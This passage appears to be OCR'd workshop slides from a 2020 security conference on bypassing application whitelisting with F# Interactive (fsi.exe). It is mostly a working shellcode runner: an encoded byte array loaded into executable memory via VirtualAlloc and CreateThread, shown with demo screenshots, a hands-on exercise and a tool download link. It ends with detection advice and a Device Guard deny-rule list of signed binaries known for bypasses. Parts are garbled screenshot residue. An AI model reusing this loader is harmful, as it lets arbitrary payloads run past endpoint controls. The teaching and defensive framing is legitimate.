0x43uy;0x67uy;0x6cuy;0x4buy;0x56uy;0x32uy;0x64uy;0x50uy;0x4cuy;0x33uy;0x7auy;0x55uy;0x6cuy;0x6cuy;
0x4buy;0x62uy;0x6cuy;0x56uy;0x71uy;0x64uy;0x38uy;0x4buy;0x53uy;0x70uy;0x48uy;0x43uy;0x31uy;0x58uy;0x51uy;
0x33uy;0x61uy;0x6cuy;0x4buy;0x43uy;0x69uy;0x77uy;0x50uy;0x73uy;0x31uy;0x4buy;0x63uy;0x6euy;0x6buy;0x32uy;
0x69uy;0x32uy;0x38uy;0x59uy;0x73uy;0x54uy;0x7auy;0x51uy;0x59uy;0x4cuy;0x4buy;0x75uy;0x64uy;0x4euy;0x6buy;
0x53uy;0x31uy;0x39uy;0x46uy;0x66uy;0x51uy;0x39uy;0x6fuy;0x4cuy;0x4fuy;0x31uy;0x6auy;0x6fuy;0x36uy;
0x6duy;0x73uy;0x31uy;0x4buy;0x77uy;0x66uy;0x58uy;0x6buy;0x50uy;0x72uy;0x55uy;0x4auy;0x56uy;0x37uy;0x73uy;
0x71uy;0x6duy;0x5auy;0x58uy;0x37uy;0x4buy;0x31uy;0x6duy;0x51uy;0x34uy;0x73uy;0x45uy;0x4auy;0x44uy;0x42uy;
0x78uy;0x6euy;0x6buy;0x52uy;0x78uy;0x76uy;0x44uy;0x56uy;0x61uy;0x79uy;0x43uy;0x70uy;0x66uy;0x6euy;0x6buy;
0x76uy;0x6cuy;0x30uy;0x4buy;0x4cuy;0x56uy;0x38uy;0x45uy;0x4cuy;0x65uy;0x51uy;0x4euy;0x33uy;0x6euy;
0x6buy;0x36uy;0x64uy;0x4cuy;0x4buy;0x76uy;0x61uy;0x48uy;0x50uy;0x4duy;0x59uy;0x30uy;0x44uy;0x57uy;0x54uy;
0x56uy;0x44uy;0x63uy;0x6buy;0x51uy;0x4buy;0x43uy;0x51uy;0x70uy;0x59uy;0x50uy;0x33uy;0x61uy;0x4buy;
0x4fuy;0x69uy;0x70uy;0x63uy;0x6fuy;0x33uy;0x6fuy;0x33uy;0x6auy;0x4cuy;0x4buy;0x46uy;0x72uy;0x4auy;0x4buy;
0x4euy;0x6duy;0x51uy;0x4duy;0x63uy;0x5auy;0x77uy;0x71uy;0x4cuy;0x4duy;0x4fuy;0x75uy;0x48uy;0x32uy;0x47uy;
0x70uy;0x37uy;0x70uy;0x53uy;0x30uy;0x66uy;0x30uy;0x45uy;0x38uy;0x76uy;0x51uy;0x6euy;0x6buy;0x52uy;0x4fuy;
0x4duy;0x57uy;0x59uy;0x6fuy;0x4buy;0x65uy;0x6duy;0x5auy;0x50uy;0x78uy;0x35uy;0x69uy;0x32uy;0x52uy;0x52uy;
0x76uy;0x31uy;0x78uy;0x79uy;0x36uy;0x7auy;0x35uy;0x4duy;0x6duy;0x4fuy;0x6auy;0x75uy;0x35uy;0x6cuy;0x36uy;
0x66uy;0x43uy;0x4cuy;0x45uy;0x5auy;0x4fuy;0x70uy;0x6buy;0x4buy;0x6buy;0x50uy;0x34uy;0x35uy;0x56uy;0x65uy;
0x4duy;0x6buy;0x51uy;0x57uy;0x32uy;0x33uy;0x64uy;0x32uy;0x4fuy;0x50uy;0x6auy;0x44uy;0x44uy;0x6euy;0x65uy;
0x33uy;0x30uy;0x73uy;0x63uy;0x59uy;0x6fuy;0x4euy;0x35uy;0x35uy;0x43uy;0x51uy;0x70uy;0x6cuy;0x45uy;0x33uy;
0x44uy;0x6euy;0x65uy;0x35uy;0x43uy;0x48uy;0x43uy;0x55uy;0x43uy;0x30uy;0x41uy;0x41uy;|]

let address = VirtualAlloc((nativeint)0, (uint32)shellcode.Length, (uint32)0x1000, (uint32)0x40)
Marshal.Copy(shellcode, 0, address, shellcode.Length)
let hThread = CreateThread((uint32)0,(uint32)0, address, &pInfo, (uint32)0, &threadId)
WaitForSingleObject(hThread, (uint32)0xFFFFFFFF) |> ignore
```



```
C:\Windows\System32\cmd.exe  
C:\Users\User1\Downloads\fsi\fsi>fsi acl_shellcode.fsx  
C:\Users\User1\Downloads\fsi\fsi>fsi acl_shellcode.fsx  
C:\Users\User1\Downloads\fsi\fsi>_
```

## Calculator

≡ Standard ≡

MC                    MR                    M+                    M-                    M

%

CE

C

1/x

x<sup>2</sup>

$$2\sqrt{x}$$

7

8

9

4

5

6

 **cacl\_shellcode.fsx** - Notepad

```
File Edit Format View Help  
open System  
open System.Runtime.InteropServices  
open System.Threading
```

```
[<DllImport "kernel32" >]  
extern nativeint VirtualAlloc(  
    nativeint           lpStartAddress,  
    uint32              dwSize,  
    uint32              flAllocationType,  
    uint32              flProtect)
```

```
[<DllImport "kernel32" >]
extern nativeint CreateThread(
    uint32          lpThreadAttributes,
    uint32          dwStackSize,
    nativeint        lpStartAddress,
    uint32&          param,
    uint32          dwCreationFlags,
    uint32&          lpThreadId)
```

```
[<DllImport "kernel32" >]
extern nativeint WaitForSingleObject(
    nativeint           hHandle,
    uint32              dwMilliseconds)
```

```
let mutable threadId : uint32 = (uint32)0
let mutable pInfo : uint32 = (uint32)0
let mutable shellcode : byte[] = [| 0x89uy; 0xe6uy; 0xdbuy; 0xdauy; 0xd9uy; 0x76uy; 0x
0x49uy; 0x49uy; 0x49uy; 0x49uy; 0x43uy; 0x43uy; 0x43uy; 0x43uy; 0x43uy; 0x41uy;
0x41uy; 0x58uy; 0x50uy; 0x30uy; 0x41uy; 0x30uy; 0x41uy; 0x6buy; 0x41uy; 0x41uy; 0x51uy;
0x42uy; 0x42uy; 0x30uy; 0x42uy; 0x41uy; 0x42uy; 0x58uy; 0x50uy; 0x38uy; 0x41uy; 0x
0x79uy; 0x6cuy; 0x68uy; 0x68uy; 0x4fuy; 0x72uy; 0x55uy; 0x50uy; 0x63uy; 0x30uy; 0x77uy;
0x69uy; 0x4buy; 0x55uy; 0x55uy; 0x61uy; 0x79uy; 0x50uy; 0x70uy; 0x64uy; 0x4euy; 0x6buy; 0x
0x6cuy; 0x4buy; 0x32uy; 0x72uy; 0x66uy; 0x6cuy; 0x4euy; 0x6buy; 0x56uy; 0x32uy; 0x65uy; 0x
0x52uy; 0x55uy; 0x78uy; 0x64uy; 0x4fuy; 0x38uy; 0x37uy; 0x50uy; 0x4auy; 0x54uy; 0x66uy; 0x
0x6cuy; 0x6cuy; 0x75uy; 0x6cuy; 0x75uy; 0x31uy; 0x63uy; 0x4cuy; 0x36uy; 0x62uy; 0x44uy; 0x
0x51uy; 0x4auy; 0x6fuy; 0x44uy; 0x4duy; 0x47uy; 0x71uy; 0x4fuy; 0x37uy; 0x7auy; 0x42uy; 0x
0x43uy; 0x67uy; 0x6cuy; 0x4buy; 0x56uy; 0x32uy; 0x64uy; 0x50uy; 0x4cuy; 0x4buy; 0x33uy; 0x
0x4buy; 0x62uy; 0x6cuy; 0x56uy; 0x71uy; 0x64uy; 0x38uy; 0x4buy; 0x53uy; 0x70uy; 0x48uy; 0x
0x33uy; 0x61uy; 0x6cuy; 0x4buy; 0x43uy; 0x69uy; 0x77uy; 0x50uy; 0x73uy; 0x31uy; 0x4buy; 0x
0x69uy; 0x32uy; 0x38uy; 0x59uy; 0x73uy; 0x54uy; 0x7auy; 0x51uy; 0x59uy; 0x4cuy; 0x4buy; 0x
```

# HANDS-ON EXERCISE #6

## **Step 1: Grab the F# Script and FSI Files:**

- /Presentations/grayhatcon2020/calc.fsx
- <https://www.dropbox.com/s/2acrszdgehper1q/fsi.zip?dl=0>

## **Step 2: Run FSI with your F# Script.**

- **fsi.exe calc.fsx**

# **DEMO FOR EXERCISE #6**



C:\Windows\System32\cmd.exe

File Home

calc - Notepad

File Edit Format View Help

open System

open System.Runtime.InteropServices

open System.Threading

[<DllImport "kernel32" >]

extern nativeint VirtualAlloc(

    nativeint lpStartAddress,

    uint32 dwSize,

    uint32 flAllocationType,

    uint32 flProtect)

[<DllImport "kernel32" >]

extern nativeint CreateThread(

    uint32 lpThreadAttributes,

    uint32 dwStackSize,

    nativeint lpStartAddress,

    uint32& param,

    uint32 dwCreationFlags,

    uint32& lpThreadId)

[<DllImport "kernel32" >]

extern nativeint WaitForSingleObject(

    nativeint hHandle,

    uint32 dwMilliseconds)

let mutable threadId : uint32 = (uint32)0

let mutable pInfo : uint32 = (uint32)0

10 items 1 item se



Type here to search



# DETECTION

# DETECTION / PREVENTION

- So you spend all this time and effort implementing Device Guard or AppLocker, but attackers can still get around it. What do you do?
- Write custom app whitelisting rules that essentially block the usage of specific Microsoft signed binaries. This won't be practical in all cases, but can help clamp down on AWL bypasses.
- Also, EDR is getting pretty good at detecting many of these bypasses.

# PREVENTION ON DEVICEGUARD

```
<FileRules>
    <!--One of the best bypasses to date from Casey Smith (@subTee) (http://subt0x10.blogspot.com/2017/04/bypassing-application-whitelisting.html)-->
    <Deny ID="ID_DENY_MSBUILD" FriendlyName="MSBuild.exe" FileName="MSBuild.exe" MinimumFileVersion="65535.65535.65535.65535" />
    <!--(https://web.archive.org/web/20161008143428/http://subt0x10.blogspot.com/2016/09/application-whitelisting-bypass-csi.exe.html) via Casey Smith (@subTee)-->
    <Deny ID="ID_DENY_CSI" FriendlyName="csi.exe" FileName="csi.exe" MinimumFileVersion="65535.65535.65535.65535" />
    <!--(https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/) via Matt Nelson (@enigma0x3)-->
    <Deny ID="ID_DENY_DNX" FriendlyName="dnx.exe" FileName="dnx.exe" MinimumFileVersion="65535.65535.65535.65535" />
    <!--(https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/) via Matt Nelson (@enigma0x3)-->
    <Deny ID="ID_DENY_RCSI" FriendlyName="rcsi.exe" FileName="rcsi.exe" MinimumFileVersion="65535.65535.65535.65535" />
    <!--Signed debuggers via Matt Graeber (@mattifestation). (http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html)-->
    <Deny ID="ID_DENY_KD" FriendlyName="kd.exe" FileName="kd.exe" MinimumFileVersion="65535.65535.65535.65535" />
    <Deny ID="ID_DENY_WINDBG" FriendlyName="windbg.exe" FileName="windbg.exe" MinimumFileVersion="65535.65535.65535.65535" />
    <Deny ID="ID_DENY_CDB" FriendlyName="cdb.exe" FileName="CDB.Exe" MinimumFileVersion="65535.65535.65535.65535" />
    <!--Another signed debugger. Credit to Matt Nelson (@enigma0x3) for suggesting this.-->
    <Deny ID="ID_DENY_NTSD" FriendlyName="ntsd.exe" FileName="ntsd.exe" MinimumFileVersion="65535.65535.65535.65535" />
    <!--Versions of BGInfo prior to 4.22.0.0 were vulnerable to an app-whitelisting bypass (https://msitpros.com/?p=3831). Thanks Oddvar Moe (@OddvarMoe)!-->
    <Deny ID="ID_DENY_BGINFO" FriendlyName="Bginfo.exe" FileName="Bginfo.exe" MinimumFileVersion="4.21.0.0" />
</FileRules>
```

@JOELEONJR



THAT'S IT!